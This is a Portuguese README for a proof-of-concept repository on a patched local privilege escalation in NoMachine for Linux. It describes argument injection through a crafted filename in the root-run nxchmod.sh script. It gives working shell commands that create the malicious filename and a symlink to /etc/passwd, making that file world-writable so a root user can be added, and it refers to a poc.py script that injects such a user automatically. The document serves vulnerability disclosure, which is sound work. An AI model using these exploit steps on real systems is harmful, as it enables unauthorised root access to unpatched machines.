
Prova de conceito de exploit e relatório para CVE-2026-53694, uma escalada de privilégio local no NoMachine para Linux por meio de injeção de argumento no nxchmod.sh, permitindo acesso root através de manipulação de symlink.
Este repositório contém o write-up e a Prova de Conceito (PoC) para o CVE-2026-53694, uma vulnerabilidade de Escalação de Privilégios Local (LPE) no NoMachine para Linux.
Devido à neutralização inadequada de delimitadores de argumentos no script nxchmod.sh, um usuário local sem privilégios pode injetar argumentos em um comando de sistema executado como root. Ao combinar essa injeção de argumentos com um link simbólico, um atacante pode sobrescrever arquivos críticos do sistema (como /etc/passwd) e escalar seus privilégios para root.
Esta vulnerabilidade foi totalmente corrigida pelo fornecedor.
Encontrar esta vulnerabilidade foi um processo de tentativa, erro e uma percepção de madrugada. Veja como a descoberta se desenrolou:
/usr/NX/scripts/restricted/nxchmod.sh era executado periodicamente pelo usuário root para gerenciar permissões em diretórios específicos.chmod a+rw aos arquivos. Pensei: Se eu controlo o destino, posso usar um link simbólico para tornar /etc/passwd gravável? Testei um link simbólico padrão (ln -s /etc/passwd /tmp/asdf), mas falhou. O sticky bit do Linux em diretórios como /tmp impede que o usuário root siga cegamente um link simbólico criado por outro usuário.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. O script pegava o nome literal do arquivo e o passava diretamente para o chmod.X1234 -R -L. Quando o script era executado, o comando chmod expandia isso em argumentos em vez de um único caminho de arquivo.-L (seguir links simbólicos) e -R (recursivo) no comando chmod através do nome do arquivo, forcei o próprio binário chmod a resolver e seguir o link simbólico que criei no diretório, contornando completamente a proteção do sticky bit./etc/passwd se tornou gravável (a+rw), pude simplesmente anexar um novo usuário root ao arquivo e usar su para entrar nele.A vulnerabilidade decorre de como o NoMachine lida com permissões para sockets X11/Wayland. O script nxchmod.sh é iniciado pelo daemon nxserver.bin executando como root.
A execução vulnerável se parece com isto:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Se um atacante criar uma estrutura de diretórios e um arquivo chamado X1234 -R -L, o comando resultante executado pelo root se torna:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Quando um link simbólico apontando para /etc/passwd é colocado dentro do diretório X1234, os argumentos injetados -R e -L forçam o chmod a seguir recursivamente o link simbólico e conceder permissões globais de leitura/escrita ao arquivo alvo.
Para que este exploit funcione, o sistema alvo deve atender às seguintes condições:
Você pode reproduzir esta vulnerabilidade manualmente usando comandos de shell ou automaticamente usando o script Python fornecido.
Navegue até /tmp/.X11-unix/ e execute os seguintes comandos para criar a estrutura de diretórios maliciosa.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Depois de verificar a vulnerabilidade e escalar privilégios, execute os seguintes comandos de limpeza para restaurar a estabilidade do sistema e remover artefatos:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Um exploit totalmente automatizado é fornecido em poc.py. Este script verifica os requisitos do Wayland, configura o link simbólico, aguarda o ciclo de execução do nxchmod.sh e injeta um novo usuário root (gg) em /etc/passwd
Para executar o exploit:
python3 poc.py
Esta vulnerabilidade foi corrigida pela NoMachine. Os usuários devem atualizar para as seguintes versões ou posteriores: